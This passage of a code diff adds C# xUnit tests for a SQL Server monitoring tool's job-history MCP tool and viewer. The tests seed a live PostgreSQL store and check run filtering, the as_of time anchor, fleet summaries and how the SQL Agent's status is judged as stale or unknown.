+        await InsertAsync(c, ct, 3, ServerA, NameA, "Nightly ETL", "Data Maintenance", 0, 0, 90, new DateTime(2026, 3, 10, 9, 0, 0), "Job failed");
+        await InsertAsync(c, ct, 4, ServerA, NameA, "Index Rebuild", "Maintenance", 0, 1, 45, new DateTime(2026, 3, 10, 10, 0, 0), null);
+        await InsertAsync(c, ct, 5, ServerB, NameB, "Log Backup", "Backup", 0, 1, 12, new DateTime(2026, 3, 10, 14, 0, 0), null);
+        await InsertAsync(c, ct, 6, ServerB, NameB, "Nightly ETL", "Data Maintenance", 0, 1, 70, new DateTime(2026, 3, 10, 15, 0, 0), null);
+        /* Before the window: must not appear. */
+        await InsertAsync(c, ct, 7, ServerA, NameA, "Old Job", "Maintenance", 0, 1, 5, new DateTime(2026, 3, 9, 1, 0, 0), null);
+    }
+
+    private static Task InsertAsync(NpgsqlConnection c, CancellationToken ct, long id, int serverId, string serverName, string job,
+        string category, int stepId, int status, long seconds, DateTime localRun, string? message) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO job_history (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name, job_enabled,
+                                       category_name, step_id, step_name, run_status, run_status_desc, run_datetime, run_duration_seconds,
+                                       retries_attempted, message)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,true,$8,$9,$10,$11,$12,$13,$14,0,$15)",
+            4_843_100_000L + id, new DateTime(2026, 3, 10, 12, 0, 0, DateTimeKind.Unspecified), serverId, serverName, 4_843_100_000L + id,
+            "job-" + job.Replace(' ', '-'), job, category, stepId, stepId == 0 ? "(Job outcome)" : "Step " + stepId.ToString(CultureInfo.InvariantCulture),
+            status, status == 1 ? "The job succeeded." : "The job failed.", localRun, seconds, message);
+
+    /* The alert's staleness setting as found before a test moved it (null: no settings row existed); restored by CleanupAsync. */
+    private static (bool Recorded, int? Original) s_staleSetting;
+
+    private static async Task SetStaleMinutesAsync(NpgsqlConnection c, CancellationToken ct, int minutes)
+    {
+        if (!s_staleSetting.Recorded)
+        {
+            await using var read = new NpgsqlCommand("SELECT collection_stale_minutes FROM config_alert_settings WHERE id = 1", c);
+            var value = await read.ExecuteScalarAsync(ct);
+            s_staleSetting = (true, value is null or DBNull ? null : Convert.ToInt32(value, CultureInfo.InvariantCulture));
+        }
+
+        await DarlingMcpTestData.ExecAsync(c, ct, "INSERT INTO config_alert_settings (id) VALUES (1) ON CONFLICT (id) DO NOTHING");
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE config_alert_settings SET collection_stale_minutes = $1 WHERE id = 1", minutes);
+    }
+
+    private static async Task CleanupAsync(NpgsqlConnection c, CancellationToken ct)
+    {
+        if (s_staleSetting.Recorded)
+        {
+            if (s_staleSetting.Original is { } original)
+                await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE config_alert_settings SET collection_stale_minutes = $1 WHERE id = 1", original);
+            else
+                await DarlingMcpTestData.ExecAsync(c, ct, "DELETE FROM config_alert_settings WHERE id = 1");
+            s_staleSetting = default;
+        }
+
+        var ids = $"{ServerA}, {ServerB}, {ServerC}";
+        await DarlingMcpTestData.ExecAsync(c, ct, $"DELETE FROM job_history WHERE server_id IN ({ids})");
+        await DarlingMcpTestData.ExecAsync(c, ct, $"DELETE FROM agent_status WHERE server_id IN ({ids})");
+        await DarlingMcpTestData.ExecAsync(c, ct, $"DELETE FROM server_properties WHERE server_id IN ({ids})");
+        await DarlingMcpTestData.ExecAsync(c, ct, $"DELETE FROM servers WHERE server_id IN ({ids})");
+    }
+
+    private static async Task<(int Status, string Body)> WebGetAsync(NpgsqlDataSource postgres, string pathAndQuery, CancellationToken ct)
+    {
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(postgres);
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, postgres, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+        var path = pathAndQuery.Split('?', 2);
+        var context = await server.SendAsync(request =>
+        {
+            request.Request.Method = "GET";
+            request.Request.Path = path[0];
+            request.Request.QueryString = new QueryString("?" + path[1]);
+            request.Request.Headers.Host = "localhost";
+        });
+        using var reader = new StreamReader(context.Response.Body);
+        return (context.Response.StatusCode, await reader.ReadToEndAsync(ct));
+    }
+
+    [Fact]
+    public async Task ViewerRows_EqualTheStorageReaderRows_MappedThroughFrom()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            var since = AsOf.AddHours(-24);
+
+            await using var viewer = new ViewerDataService(Cs!);
+            var viewerRows = await viewer.GetJobHistoryAsync(since, null, 2000, cancellationToken: ct);
+            var storage = await DarlingJobHistoryReader.GetAsync(postgres, since, null, 2000, 60, cancellationToken: ct);
+
+            /* D5: the viewer stamps each row with its own server's clock, which the storage reader's row does not carry, and
+               ServerClock serializes as {} whatever it holds. So the clock is checked on its own (every row has one, and it is the
+               clock the fleet's collected offsets give that row's server), and the rest of the row is compared through From
+               with that same clock. */
+            var clocks = await viewer.GetServerClocksAsync(null, ct);
+            Assert.Equal(storage.Count, viewerRows.Count);
+            for (var i = 0; i < viewerRows.Count; i++)
+            {
+                var clock = viewerRows[i].Clock;
+                Assert.NotNull(clock);
+                var fleetClock = ViewerTimeHelper.ClockForServerOrMachine(clocks, storage[i].ServerId, TimeZoneInfo.Local, DateTime.UtcNow);
+                Assert.Equal(fleetClock.OffsetMinutesAt(AsOf), clock.OffsetMinutesAt(AsOf));
+            }
+
+            var expected = storage.Select((dto, i) => ViewerJobHistoryRow.From(dto, viewerRows[i].Clock)).ToList();
+            Assert.Equal(6 + 0, viewerRows.Count(r => r.ServerId == ServerA || r.ServerId == ServerB));
+            Assert.Equal(JsonSerializer.Serialize(expected), JsonSerializer.Serialize(viewerRows));
+            /* Alpha's local 08:00 is 13:00 UTC: the conversion survived the move. */
+            Assert.Contains(viewerRows, r => r.ServerId == ServerA && r.RunDateTimeUtc == new DateTime(2026, 3, 10, 13, 0, 0));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task Tool_RowsEqualTheStorageReader_WithTheWpfColumnsInUtc()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            var body = await DarlingMcpJobTools.GetJobHistory(postgres, NameA, 24, as_of: AsOfText, cancellationToken: ct);
+            var storage = await DarlingJobHistoryReader.GetAsync(postgres, AsOf.AddHours(-24), ServerA, 101, 60, cancellationToken: ct);
+
+            using var doc = JsonDocument.Parse(body);
+            var runs = doc.RootElement.GetProperty("runs").EnumerateArray().ToList();
+            Assert.Equal(storage.Count, runs.Count);
+            Assert.Equal(4, runs.Count);
+            Assert.False(doc.RootElement.GetProperty("truncated").GetBoolean());
+            Assert.Equal(NameA, doc.RootElement.GetProperty("server").GetString());
+            for (var i = 0; i < runs.Count; i++)
+            {
+                Assert.Equal(DateTime.SpecifyKind(storage[i].RunDateTimeUtc!.Value, DateTimeKind.Utc).ToString("o", CultureInfo.InvariantCulture),
+                    runs[i].GetProperty("run_time").GetString());
+                Assert.Equal(storage[i].JobName, runs[i].GetProperty("job_name").GetString());
+                Assert.Equal(storage[i].CategoryName, runs[i].GetProperty("category").GetString());
+                Assert.Equal(storage[i].RunDurationSeconds, runs[i].GetProperty("duration_seconds").GetInt64());
+                Assert.Equal(storage[i].ServerName, runs[i].GetProperty("server").GetString());
+            }
+
+            Assert.EndsWith("Z", runs[0].GetProperty("run_time").GetString(), StringComparison.Ordinal);
+            Assert.Equal("2026-03-10T15:00:00.0000000Z", runs[0].GetProperty("run_time").GetString());
+            Assert.Equal("Failed", runs.First(r => r.GetProperty("job_name").GetString() == "Nightly ETL" && r.GetProperty("step").GetString() == "1: Step 1").GetProperty("status").GetString());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task APastAsOf_ReadsTheRunsBeforeIt_WhateverIsStoredAfterIt()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            /* More runs after as_of than any fetch limit: 2100 one-second successful outcomes of the same job, local
+               15:01 onward on alpha (UTC-5), so 20:01Z onward - all inside the hour after as_of 20:00Z, where a widened
+               end bound would fill the whole fetch with them. A successful run exactly AT as_of (local 15:00) is seeded too. */
+            await InsertAsync(c, ct, 8, ServerA, NameA, "Nightly ETL", "Data Maintenance", 0, 1, 600, new DateTime(2026, 3, 10, 15, 0, 0), null);
+            await DarlingMcpTestData.ExecAsync(c, ct,
+                @"INSERT INTO job_history (job_history_id, collection_time, server_id, server_name, instance_id, job_id, job_name, job_enabled,
+                                           category_name, step_id, step_name, run_status, run_status_desc, run_datetime, run_duration_seconds,
+                                           retries_attempted, message)
+                  SELECT 4843200000 + g, $1, $2, $3, 4843200000 + g, 'job-Nightly-ETL', 'Nightly ETL', true,
+                         'Data Maintenance', 0, '(Job outcome)', 1, 'The job succeeded.', $4 + g * interval '1 minute', 1, 0, NULL
+                  FROM generate_series(1, 2100) AS g",
+                new DateTime(2026, 3, 10, 12, 0, 0, DateTimeKind.Unspecified), ServerA, NameA, new DateTime(2026, 3, 10, 15, 0, 0, DateTimeKind.Unspecified));
+
+            const string pastAsOf = "2026-03-10T20:00:00Z";
+            var limited = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, 24, limit: 3, as_of: pastAsOf, cancellationToken: ct)).RootElement;
+            Assert.Equal(3, limited.GetProperty("shown").GetInt32());
+            Assert.True(limited.GetProperty("truncated").GetBoolean());
+            Assert.All(limited.GetProperty("runs").EnumerateArray(),
+                r => Assert.True(DateTime.Parse(r.GetProperty("run_time").GetString()!, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal) <= new DateTime(2026, 3, 10, 20, 0, 0, DateTimeKind.Utc)));
+
+            var all = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, 24, limit: 10, as_of: pastAsOf, cancellationToken: ct)).RootElement;
+            Assert.Equal(5, all.GetProperty("shown").GetInt32());
+            Assert.False(all.GetProperty("truncated").GetBoolean());
+            foreach (var run in all.GetProperty("runs").EnumerateArray().Where(r => r.GetProperty("job_name").GetString() == "Nightly ETL"))
+            {
+                /* The success stats stop at as_of too, inclusive: the success exactly at 20:00Z is the last one. */
+                Assert.Equal(new DateTime(2026, 3, 10, 20, 0, 0, DateTimeKind.Utc), DateTime.Parse(run.GetProperty("last_success").GetString()!, CultureInfo.InvariantCulture, DateTimeStyles.AdjustToUniversal));
+                Assert.False(run.GetProperty("is_long_running").GetBoolean());
+            }
+
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task AnAzureSqlDatabaseServerWithNoRuns_AnswersNotCollected_NotEmpty()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET sql_engine_edition = 5 WHERE server_id = $1", ServerC);
+            var body = await DarlingMcpJobTools.GetJobHistory(postgres, NameC, as_of: AsOfText, cancellationToken: ct);
+            Assert.Equal("not_collected", DarlingMcpTestData.StatusOf(body));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task Filters_AndFleetMode_AndLimit()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+
+            /* No server_name: every server, and the job filter keeps both servers' ETL runs. */
+            var fleet = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, job_name: "nightly etl", as_of: AsOfText, cancellationToken: ct));
+            Assert.Equal(4, fleet.RootElement.GetProperty("runs").GetArrayLength());
+            Assert.Equal(
+                new[] { NameA, NameB },
+                fleet.RootElement.GetProperty("runs").EnumerateArray().Select(r => r.GetProperty("server").GetString()!).Distinct().OrderBy(s => s, StringComparer.Ordinal).ToArray());
+
+            var failed = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, status: "failed", as_of: AsOfText, cancellationToken: ct));
+            Assert.Equal(2, failed.RootElement.GetProperty("runs").GetArrayLength());
+
+            var category = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, category: "backup", as_of: AsOfText, cancellationToken: ct));
+            Assert.Equal("Log Backup", Assert.Single(category.RootElement.GetProperty("runs").EnumerateArray()).GetProperty("job_name").GetString());
+
+            var limited = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, limit: 2, as_of: AsOfText, cancellationToken: ct));
+            Assert.Equal(2, limited.RootElement.GetProperty("runs").GetArrayLength());
+            Assert.True(limited.RootElement.GetProperty("truncated").GetBoolean());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task UnknownServer_Refused_AndAServerWithNoRuns_IsEmpty()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            var unknown = await DarlingMcpJobTools.GetJobHistory(postgres, "no-such-server", as_of: AsOfText, cancellationToken: ct);
+            Assert.Equal("invalid", DarlingMcpTestData.StatusOf(unknown));
+            Assert.Contains("Could not resolve", unknown, StringComparison.Ordinal);
+            Assert.DoesNotContain("\"runs\"", unknown, StringComparison.Ordinal);
+
+            var empty = await DarlingMcpJobTools.GetJobHistory(postgres, NameC, as_of: AsOfText, cancellationToken: ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(empty));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    /* The snapshot's age is its age at the anchor these tests read (AsOf), not at the clock: the tool reads the Agent as of the
+       window's end (#5242), so a seed hung off the clock would sit after a past as_of and never be read. */
+    private static Task SeedAgentAsync(NpgsqlConnection c, CancellationToken ct, int serverId, string serverName, bool? running, string? desc, TimeSpan age, DateTime? nextLocal = null) =>
+        SeedAgentAtAsync(c, ct, serverId, serverName, running, desc, AsOf - age, nextLocal);
+
+    /* The same insert at an absolute instant (naive UTC, as the collector stores it). */
+    private static Task SeedAgentAtAsync(NpgsqlConnection c, CancellationToken ct, int serverId, string serverName, bool? running, string? desc, DateTime capturedUtc, DateTime? nextLocal = null) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO agent_status (collection_id, collection_time, server_id, server_name, agent_running, agent_status_desc, agent_startup_desc, next_scheduled_run)
+              VALUES ($1,$2,$3,$4,$5,$6,'Automatic',$7)",
+            CollectionIdGenerator.Next(), DateTime.SpecifyKind(capturedUtc, DateTimeKind.Unspecified), serverId, serverName,
+            (object?)running ?? DBNull.Value, (object?)desc ?? DBNull.Value, (object?)nextLocal ?? DBNull.Value);
+
+    [Fact]
+    public async Task ANamedServer_CarriesItsAgentStateFromTheNewestSnapshot()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            /* Alpha (UTC-5): an older running row, then the newest says stopped, with a next run at local 21:00 (02:00 UTC the next day).
+               Bravo: running, with a next run at local 21:00 (UTC, so unconverted). */
+            await SeedAgentAsync(c, ct, ServerA, NameA, true, "Running", TimeSpan.FromMinutes(12));
+            await SeedAgentAsync(c, ct, ServerA, NameA, false, "Stopped", TimeSpan.FromMinutes(2), new DateTime(2026, 3, 11, 21, 0, 0));
+            await SeedAgentAsync(c, ct, ServerB, NameB, true, "Running", TimeSpan.FromMinutes(1), new DateTime(2026, 3, 11, 21, 0, 0));
+
+            var stopped = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.False(stopped.GetProperty("agent_running").GetBoolean());
+            Assert.Equal("Stopped", stopped.GetProperty("agent_status_desc").GetString());
+            Assert.Equal("2026-03-12T02:00:00.0000000Z", stopped.GetProperty("next_run").GetString());
+            Assert.EndsWith("Z", stopped.GetProperty("captured_at").GetString(), StringComparison.Ordinal);
+            Assert.Equal(4, stopped.GetProperty("runs").GetArrayLength());
+
+            var running = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameB, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.True(running.GetProperty("agent_running").GetBoolean());
+            Assert.Equal("Running", running.GetProperty("agent_status_desc").GetString());
+            Assert.Equal("2026-03-11T21:00:00.0000000Z", running.GetProperty("next_run").GetString());
+            Assert.Equal(2, running.GetProperty("runs").GetArrayLength());
+            /* A named server's answer carries the flat fields, never the fleet's counts. */
+            Assert.False(running.TryGetProperty("agents_total", out var absent));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task ASnapshotOlderThanTheStalenessWindow_ReadsUnknown_NeverItsLastValue()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await SetStaleMinutesAsync(c, ct, 30);
+            var stale = DarlingSelfAlertEvaluator.StaleWindow + TimeSpan.FromMinutes(5);
+            await SeedAgentAsync(c, ct, ServerA, NameA, false, "Stopped", stale, AsOf.AddHours(1));
+            await SeedAgentAsync(c, ct, ServerB, NameB, true, "Running", stale);
+
+            foreach (var name in new[] { NameA, NameB })
+            {
+                var body = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, name, as_of: AsOfText, cancellationToken: ct)).RootElement;
+                Assert.Equal(JsonValueKind.Null, body.GetProperty("agent_running").ValueKind);
+                Assert.Equal("unknown (no recent status)", body.GetProperty("agent_status_desc").GetString());
+                Assert.Equal(JsonValueKind.Null, body.GetProperty("next_run").ValueKind);
+            }
+
+            /* A server with no snapshot at all is unknown too, with no capture time (its answer is empty, so the state is under hints). */
+            var none = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameC, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", none.GetProperty("status").GetString());
+            var hints = none.GetProperty("hints");
+            Assert.Equal(JsonValueKind.Null, hints.GetProperty("agent_running").ValueKind);
+            Assert.Equal("unknown (no recent status)", hints.GetProperty("agent_status_desc").GetString());
+            Assert.Equal(JsonValueKind.Null, hints.GetProperty("captured_at").ValueKind);
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task TheFleetAnswerListsEachServersAgent_AndAnEmptyAnswerCarriesItUnderHints()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await SetStaleMinutesAsync(c, ct, 30);
+            await SeedAgentAsync(c, ct, ServerA, NameA, false, "Stopped", TimeSpan.FromMinutes(3));
+            await SeedAgentAsync(c, ct, ServerB, NameB, true, "Running", TimeSpan.FromMinutes(3));
+            await SeedAgentAsync(c, ct, ServerC, NameC, true, "Running", DarlingSelfAlertEvaluator.StaleWindow + TimeSpan.FromMinutes(1));
+
+            var fleet = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.False(fleet.TryGetProperty("agent_running", out var flat));
+            /* Counts cover every enabled server with a snapshot (other tests' servers may be present); the detail names this test's. */
+            Assert.True(fleet.GetProperty("agents_total").GetInt32() >= 3);
+            Assert.True(fleet.GetProperty("agents_running").GetInt32() >= 1);
+            var notRunning = fleet.GetProperty("agents_not_running").EnumerateArray()
+                .Where(a => a.GetProperty("server").GetString()!.StartsWith("jobhist-", StringComparison.Ordinal)).ToList();
+            Assert.Equal(new[] { NameA, NameC }, notRunning.Select(a => a.GetProperty("server").GetString()!).ToArray());
+            Assert.Equal(JsonValueKind.False, notRunning[0].GetProperty("agent_running").ValueKind);
+            Assert.Equal("Stopped", notRunning[0].GetProperty("agent_status_desc").GetString());
+            Assert.Equal(JsonValueKind.Null, notRunning[1].GetProperty("agent_running").ValueKind);
+            Assert.Equal("unknown (no recent status)", notRunning[1].GetProperty("agent_status_desc").GetString());
+            Assert.DoesNotContain(NameB, fleet.GetProperty("agents_not_running").ToString(), StringComparison.Ordinal);
+            Assert.Equal(6, fleet.GetProperty("runs").GetArrayLength());
+
+            /* An empty window still says what the Agent is doing: that is when "no jobs ran" needs the reason. */
+            var empty = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, job_name: "no such job", as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", empty.GetProperty("status").GetString());
+            var hints = empty.GetProperty("hints");
+            Assert.False(hints.GetProperty("agent_running").GetBoolean());
+            Assert.Equal("Stopped", hints.GetProperty("agent_status_desc").GetString());
+            Assert.True(hints.TryGetProperty("window_truncated", out var windowTruncatedHint));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task TheAgentIsJudgedAgainstTheAlertsLiveStalenessSetting()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await SeedAgentAsync(c, ct, ServerA, NameA, false, "Stopped", TimeSpan.FromMinutes(45), AsOf.AddHours(1));
+
+            /* The shipped 30 minutes: a 45-minute-old row says nothing about the Agent at the anchor. */
+            await SetStaleMinutesAsync(c, ct, 30);
+            var thirty = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.Equal(JsonValueKind.Null, thirty.GetProperty("agent_running").ValueKind);
+            Assert.Equal("unknown (no recent status)", thirty.GetProperty("agent_status_desc").GetString());
+
+            /* At 60 minutes the Agent Not Running alert fires on that same row, so the tool reports it stopped. */
+            await SetStaleMinutesAsync(c, ct, 60);
+            var sixty = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.False(sixty.GetProperty("agent_running").GetBoolean());
+            Assert.Equal("Stopped", sixty.GetProperty("agent_status_desc").GetString());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task AServerWithNoAgentService_IsNotStopped_NamedOrInTheFleet()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await SetStaleMinutesAsync(c, ct, 30);
+            /* Bravo has no Agent service: the collector stores agent_running = false with NULL descriptions. Alpha's is really stopped. */
+            await SeedAgentAsync(c, ct, ServerA, NameA, false, "Stopped", TimeSpan.FromMinutes(2));
+            await SeedAgentAsync(c, ct, ServerB, NameB, false, null, TimeSpan.FromMinutes(2));
+
+            var named = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameB, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.Equal(JsonValueKind.Null, named.GetProperty("agent_running").ValueKind);
+            Assert.Equal("no SQL Agent service found", named.GetProperty("agent_status_desc").GetString());
+
+            var fleet = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            var listed = fleet.GetProperty("agents_not_running").EnumerateArray()
+                .Where(a => a.GetProperty("server").GetString()!.StartsWith("jobhist-", StringComparison.Ordinal)).ToList();
+            Assert.Equal(new[] { NameA, NameB }, listed.Select(a => a.GetProperty("server").GetString()!).ToArray());
+            Assert.Equal(JsonValueKind.False, listed[0].GetProperty("agent_running").ValueKind);
+            Assert.Equal(JsonValueKind.Null, listed[1].GetProperty("agent_running").ValueKind);
+            Assert.Equal("no SQL Agent service found", listed[1].GetProperty("agent_status_desc").GetString());
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    [Fact]
+    public async Task AFailedAgentRead_StillServesTheRuns_WithoutTheAgentFields()
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(Cs), "Set DARLING_TEST_PG to run the live job-history tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var (c, postgres) = await OpenAsync(ct);
+        await using var _ = postgres;
+        using var __ = c;
+        var ok = false;
+        try
+        {
+            await SeedAsync(c, ct);
+            await SeedAgentAsync(c, ct, ServerA, NameA, false, "Stopped", TimeSpan.FromMinutes(2));
+            DarlingJobReader.AgentReadFaultForTests.Value = new TimeoutException("the Agent read timed out");
+
+            var named = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.Equal(4, named.GetProperty("runs").GetArrayLength());
+            Assert.False(named.TryGetProperty("agent_running", out var absent1));
+            Assert.False(named.TryGetProperty("agent_status_desc", out var absent2));
+
+            var fleet = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.Equal(6, fleet.GetProperty("runs").GetArrayLength());
+            Assert.False(fleet.TryGetProperty("agents_total", out var absent3));
+
+            /* An empty answer keeps its own hints, without the Agent fields. */
+            var empty = JsonDocument.Parse(await DarlingMcpJobTools.GetJobHistory(postgres, NameA, job_name: "no such job", as_of: AsOfText, cancellationToken: ct)).RootElement;
+            Assert.Equal("empty", empty.GetProperty("status").GetString());
+            Assert.True(empty.GetProperty("hints").TryGetProperty("window_truncated", out var absent4));
+            Assert.False(empty.GetProperty("hints").TryGetProperty("agent_running", out var absent5));
+            ok = true;
+        }
+        finally
+        {
+            DarlingJobReader.AgentReadFaultForTests.Value = null;
+            await LiveStoreCleanup.RunAsync(Cs!, ok, async (cleanup, cct) => await CleanupAsync(cleanup, cct));
+        }
+    }
+
+    /* #5242: the Agent state follows the window's end. The row read is the newest snapshot at or before the anchor, judged
+       against the anchor, so a past as_of answers "what was the Agent doing then" and leaves out what was collected after it.
+       These cases hang their times off one instant each test fixes (whole seconds, so the stored microseconds round-trip
+       exactly) rather than off the clock at the moment of the call. */
+    private static DateTime FixedNow()
+    {
+        var now = DateTime.UtcNow;
+        return new DateTime(now.Ticks - now.Ticks % TimeSpan.TicksPerSecond, DateTimeKind.Utc);
+    }
+
